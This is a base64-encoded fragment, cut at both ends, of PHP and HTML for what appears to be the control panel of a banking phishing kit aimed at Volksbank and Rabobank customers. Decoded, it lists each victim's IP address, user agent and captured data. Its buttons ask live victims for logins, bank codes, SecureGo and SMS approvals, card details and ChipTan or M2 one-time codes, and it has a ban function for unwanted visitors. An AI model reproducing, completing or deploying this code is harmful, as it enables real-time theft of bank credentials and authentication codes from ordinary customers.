gYm9yZGVyLWxlZnQtZGFuZ2VyIGN1c3RvbS1ib3JkZXIgYmctZGFya2VyIGgtMTAwIHB5LTIiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbm8tZ3V0dGVycyBhbGlnbi1pdGVtcy1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sIG1yLTIiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC14cyBmb250LXdlaWdodC1ib2xkIGN1c3RvbS10ZXh0IHRleHQtdXBwZXJjYXNlIG1iLTEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1jbG9jayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPC9pPkxhc3QgU2VlbjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Img1IG1iLTAgZm9udC13ZWlnaHQtYm9sZCB0ZXh0LXdoaXRlIj4nIC4gJHRpbWVTdHJpbmcgLiAnPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hdXRvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC0zIGNvbC1tZC02IG1iLTQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBib3JkZXItbGVmdC1kYW5nZXIgY3VzdG9tLWJvcmRlciBiZy1kYXJrZXIgaC0xMDAgcHktMiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IG5vLWd1dHRlcnMgYWxpZ24taXRlbXMtY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbCBtci0yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LXhzIGZvbnQtd2VpZ2h0LWJvbGQgY3VzdG9tLXRleHQgdGV4dC11cHBlcmNhc2UgbWItMSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhIGZhLWluZm8tY2lyY2xlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBJUCBBRERSRVNTPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaDUgbWItMCBmb250LXdlaWdodC1ib2xkIHRleHQtd2hpdGUiPicgLiAkbG9nWydpcCddIC4gJzwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYXV0byI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteGwtMyBjb2wtbWQtNiBtYi00Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgYm9yZGVyLWxlZnQtZGFuZ2VyIGN1c3RvbS1ib3JkZXIgYmctZGFya2VyIGgtMTAwIHB5LTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBuby1ndXR0ZXJzIGFsaWduLWl0ZW1zLWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wgbXItMiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC14cyBmb250LXdlaWdodC1ib2xkIGN1c3RvbS10ZXh0IHRleHQtdXBwZXJjYXNlIG1iLTEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtaWQtY2FyZCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gVXNlciBJRDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Img1IG1iLTAgZm9udC13ZWlnaHQtYm9sZCB0ZXh0LXdoaXRlIj4nIC4gJGxvZ1sndXNlcl9pZCddIC4gJzwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYXV0byI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhsLTMgY29sLW1kLTYgbWItNCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIGJvcmRlci1sZWZ0LWRhbmdlciBjdXN0b20tYm9yZGVyIGJnLWRhcmtlciBoLTEwMCBweS0yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbm8tZ3V0dGVycyBhbGlnbi1pdGVtcy1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sIG1yLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQteHMgZm9udC13ZWlnaHQtYm9sZCBjdXN0b20tdGV4dCB0ZXh0LXVwcGVyY2FzZSBtYi0xIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtdW5pdmVyc2l0eSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gQmFuazwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Img1IG1iLTAgZm9udC13ZWlnaHQtYm9sZCB0ZXh0LXdoaXRlIj4nIC4gKGVtcHR5KCRsb2dbJ2JhbmsnXSkgPyAnTk9UIFNFTEVDVEVEJyA6ICRsb2dbJ2JhbmsnXSkgLiAnPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hdXRvIj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pic7DQoJCQ0KCQkNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCg0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJyb3cgcC0xIj4nOw0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtc20tMTIiPic7DQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC0xMiBwLTQgYmctZGFya2VyIHJvdW5kZWQiPic7DQogICAgICAgIGVjaG8gJzxoNCBjbGFzcz0idGV4dC13aGl0ZSI+PGkgY2xhc3M9ImZhIGZhLWRhdGFiYXNlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBDdXJyZW50IERhdGE8L2g0Pic7DQogICAgICAgIGVjaG8gJzxociBjbGFzcz0ibXktNCI+JzsNCiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYmctZGFya2VzdC1pbnNpZGUgcC00IHJvdW5kZWQiPic7ICAgICANCg0KICAgICAgICBmb3JlYWNoKCRsb2dhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGtleV9zcGxpdCA9IGV4cGxvZGUoJ18nLCAka2V5KTsNCg0KICAgICAgICAgICAgaWYoc3RydG9sb3dlcigkbG9nWydiYW5rJ10pID09IHN0cnRvbG93ZXIoJGtleV9zcGxpdFswXSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgLy8ka2V5X3NwbGl0WzBdID0gJyc7DQogICAgICAgICAgICAgICAgYXJyYXlfc2hpZnQoJGtleV9zcGxpdCk7DQogICAgICAgICAgICAgICAgJHJlYWxrZXkgPSBpbXBsb2RlKCdfJywgJGtleV9zcGxpdCk7DQoNCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIHJvdyI+JzsNCiAgICAgICAgICAgICAgICBlY2hvICc8bGFiZWwgZm9yPSJpZCIgY2xhc3M9InRleHQtc2Vjb25kYXJ5IGNvbC1zbS0zIGZvbnQtd2VpZ2h0LWJvbGQiPicudWNmaXJzdCgkcmVhbGtleSkuJzo8L2xhYmVsPic7DQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLXNtLTkiPic7DQogICAgICAgICAgICAgICAgZWNobyAnPHAgY2xhc3M9InRleHQtc2Vjb25kYXJ5Ij48aT4nIC4gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpIC4gJzwvaT4gIDwvcD4nOw0KICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGxvZ1snYmFuayddID09ICdWT0xLU0JBTksnKSB7DQogICAgICAgICAgICBpZiAoJGxvZ1snd2FpdGluZyddID09ICd0cnVlJykgew0KICAgICAgICAgICAgICAgID8+DQoJCSAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1ibG9jayBidG4tcm91bmRlZCBidG4tb3V0bGluZS1zZWNvbmRhcnkgbXQtNCIgb25jbGljaz0ic2V0Vm9sa3NiYW5rKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sndXNlcl9pZCddKTs/PicsICdsb2dpbicpIj48aSBjbGFzcz0iZmFzIGZhLXNpZ24taW4tYWx0Ij48L2k+IEFzayBMb2dpbjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KCQkJICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tYmxvY2sgYnRuLXJvdW5kZWQgYnRuLW91dGxpbmUtc2Vjb25kYXJ5IG10LTQiIG9uY2xpY2s9InNldFZvbGtzYmFuaygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSk7Pz4nLCAnYmx6JykiPjxpIGNsYXNzPSJmYXMgZmEtc2lnbi1pbi1hbHQiPjwvaT4gQXNrIEJMWjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tYmxvY2sgYnRuLXJvdW5kZWQgYnRuLW91dGxpbmUtc2Vjb25kYXJ5IG10LTQiIG9uY2xpY2s9InNldFZvbGtzYmFuaygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSk7Pz4nLCAnc2VjdXJlJykiPjxpIGNsYXNzPSJmYXMgZmEtbW9iaWxlIj48L2k+IEFzayBTZWN1cmVHbzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tYmxvY2sgYnRuLXJvdW5kZWQgYnRuLW91dGxpbmUtc2Vjb25kYXJ5IG10LTQiIG9uY2xpY2s9InNldFZvbGtzYmFuaygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSk7Pz4nLCAnY2MnKSI+PGkgY2xhc3M9ImZhcyBmYS1jcmVkaXQtY2FyZCI+PC9pPiBBc2sgQ3JlZGl0Y2FyZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KCQkJICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tYmxvY2sgYnRuLXJvdW5kZWQgYnRuLW91dGxpbmUtc2Vjb25kYXJ5IG10LTQiIG9uY2xpY2s9InNldFZvbGtzYmFuaygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSk7Pz4nLCAnc21zJykiPjxpIGNsYXNzPSJmYXMgZmEtc21zIj48L2k+IEFzayBTTVM8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLWJsb2NrIGJ0bi1yb3VuZGVkIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSBtdC00IiBvbmNsaWNrPSJzZXRWb2xrc2JhbmsoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyd1c2VyX2lkJ10pOz8+JywgJ2luZm8nKSI+PGkgY2xhc3M9ImZhcyBmYS1pbmZvLWNpcmNsZSI+PC9pPiBBc2sgSW5mbzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1ibG9jayBidG4tcm91bmRlZCBidG4tb3V0bGluZS1zZWNvbmRhcnkgbXQtNCIgb25jbGljaz0ic2V0Vm9sa3NiYW5rKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sndXNlcl9pZCddKTs/PicsICdzaWduJykiPjxpIGNsYXNzPSJmYSBmYS1zaWduLWxhbmd1YWdlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBBc2sgVGFuPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCBjYWl4YS1jYXJkIGlucHV0LWRhcmsgbXQtNCBjdXN0b20taW5wdXQiIHBsYWNlaG9sZGVyPSJGaWxsIGluIHRoZSBDaGlwVGFuIGNvZGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+IA0KCQkJPGRpdiBoaWRkZW4gY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1ibG9jayBidG4tcm91bmRlZCBidG4tb3V0bGluZS1zZWNvbmRhcnkgbXQtNCIgb25jbGljaz0ic2V0Vm9sa3NiYW5rKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sndXNlcl9pZCddKTs/PicsICdzaWduMicpIj48aSBjbGFzcz0iZmEgZmEtc2lnbi1sYW5ndWFnZSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gTTI8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctOSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNhaXhhLXRhbiBpbnB1dC1kYXJrIG10LTQgY3VzdG9tLWlucHV0IiBwbGFjZWhvbGRlcj0iRmlsbCBpbiB0aGUgZmlyc3QgTTIgQ2hhbGxlbmdlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgY2FpeGEtbGl2ZSBpbnB1dC1kYXJrIG10LTQgY3VzdG9tLWlucHV0IiBwbGFjZWhvbGRlcj0iRmlsbCBpbiB0aGUgc2Vjb25kIE0yIENoYWxsZW5nZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1ibG9jayBidG4tcm91bmRlZCBidG4tb3V0bGluZS1zdWNjZXNzIG10LTQiIG9uY2xpY2s9InNldFZvbGtzYmFuaygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSk7Pz4nLCAnZmluaXNoJykiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IEZpbmlzaDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICB9DQoNCg0KICAgICAgICB9DQogICAgICAgIGlmICgkbG9nWyd3YWl0aW5nJ10gPT09ICdmYWxzZScpIHsNCiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbGctNCBjb2wtc20tMTIiPic7DQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC0xMiBwLTQgYmctZGFya2VyIGN1c3RvbS10b3AtbWFyZ2luIHJvdW5kZWQiIHN0eWxlPSJtaW4taGVpZ2h0OiAxNzNweDsiPic7DQogICAgICAgIGVjaG8gJzxoNSBjbGFzcz0idGV4dC13aGl0ZSI+PGkgY2xhc3M9ImZhIGZhLWNvZyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gT3B0aW9uczwvaDU+JzsNCiAgICAgICAgZWNobyAnPGhyIGNsYXNzPSJteS00Ij4nOw0KICAgICAgICBlY2hvICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgIC5tb2RhbC1oZWFkZXIgew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7DQogICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgIHBhZGRpbmc6IDFyZW0gMXJlbTsNCiAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzIwMjAyMDsNCiAgICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiBjYWxjKDAuM3JlbSAtIDFweCk7DQogICAgYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IGNhbGMoMC4zcmVtIC0gMXB4KTsNCn0NCi5tb2RhbC1mb290ZXIgew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgZmxleC13cmFwOiB3cmFwOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDsNCiAgICBwYWRkaW5nOiAwLjc1cmVtOw0KICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMjAyMDIwOw0KICAgIGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiBjYWxjKDAuM3JlbSAtIDFweCk7DQogICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogY2FsYygwLjNyZW0gLSAxcHgpOw0KfQ0KDQouc2lpbGVuY2VkLWRhcmtlciB7DQogICAgYmFja2dyb3VuZC1jb2xvcjogIzFjMWMxYzsNCn0NCi5iZy1kYXJrZXN0LWluc2lkZXsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyMzI1OyANCn0NCjwvc3R5bGU+PCEtLSBSYWJvYmFuayBNb2RhbCAtLT4nOw0KICAgICAgICAgIGVjaG8gJyc7DQogICAgICAgPz4NCjxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJleGFtcGxlTW9kYWxDZW50ZXIiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9ImV4YW1wbGVNb2RhbENlbnRlclRpdGxlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+DQogIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1kaWFsb2ctY2VudGVyZWQiIHJvbGU9ImRvY3VtZW50Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50IGJnLWRhcmtlciI+DQogICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIgc2lpbGVuY2VkLWRhcmtlciI+DQogICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJleGFtcGxlTW9kYWxMb25nVGl0bGUiPjxpIGNsYXNzPSJmYSBmYS1iYW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IEFyZSB5b3Ugc3VyZSB1IHdhbnQgdG8gYmFuIHVzZXI/PC9oNT4NCiAgICAgIDwvZGl2Pg0KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgIDxwIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7Ij5UaGlzIGFjdGlvbiBjYW5ub3QgYmUgdW5kb25lLjwvcD4NCg0KDQogICAgICAgIDxocj4NCg0KICAgICAgICA8cD48aSBjbGFzcz0iZmEgZmEtZGF0YWJhc2UiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IEZldGNoaW5nIERldGFpbHMgPGltZyBoZWlnaHQ9IjE1IiB3aWR0aD0iMTUiIHNyYz0iL2ltZy9pbmcuZ2lmIj48L3A+DQo8c3R5bGU+DQpzaWlsZW5jZWQgeyANCiAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCn0NCjwvc3R5bGU+PGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCjxkaXYgY2xhc3M9ImNhcmQgbWItMSBzaWlsZW5jZWQtZGFya2VyIHJvdW5kZWQgIGN1c3RvbS1jYXJkIj4NCg0KPHA+PHNpaWxlbmNlZD4gSXBfYWRkcmVzczogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpcCk7Pz4gPC9zaWlsZW5jZWQ+PC9wPg0KPHA+PHNpaWxlbmNlZD4gdXNlcl9hZ2VudDogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfYWdlbnQnXSk7Pz48L3NpaWxlbmNlZD48L3A+DQo8cD48c2lpbGVuY2VkPiB1c2VyX2lkOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxvZ1sndXNlcl9pZCddKTs/Pjwvc2lpbGVuY2VkPjwvcD4NCjxicj48YnI+DQo8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4NCiAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSIgZGF0YS1kaXNtaXNzPSJtb2RhbCI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBDbG9zZTwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtZGFuZ2VyIiAgZGF0YS1kaXNtaXNzPSJtb2RhbCIgb25jbGljaz0iYmFuVXNlcignPD9waHAgZWNobyAkbG9nWydpcCddOz8+JywgJzw/cGhwIGVjaG8gJGxvZ1sndXNlcl9pZCddOz8+JykiPjxpIGNsYXNzPSJmYSBmYS1jaGVjayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gWWVzPC9idXR0b24+DQoNCg0KICAgICAgIDw/cGhwDQogICAgICAgIGVjaG8gJzwvZGl2Pg0KICAgIDwvZGl2Pg0KICA8L2Rpdj4NCiA8L2Rpdj4NCjwvZGl2Pic7DQogICAgICAgICAgZWNobyAnPCEtLSBFbmQgUmFib2JhbmsgTW9kYWwgLS0+JzsNCiAgICAgICAgICA/Pg0KDQogICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSBjb2wtbGctMTIiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7IiBkYXRhLXRvZ2dsZT0ibW9kYWwiIGRhdGEtdGFyZ2V0PSIjZXhhbXBsZU1vZGFsQ2VudGVyIj48aSBjbGFzcz0iZmEgZmEtYmFuIj48L2k+IEJhbiBVc2VyPC9idXR0b24+DQogICAgICAgIDxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICA8YnV0dG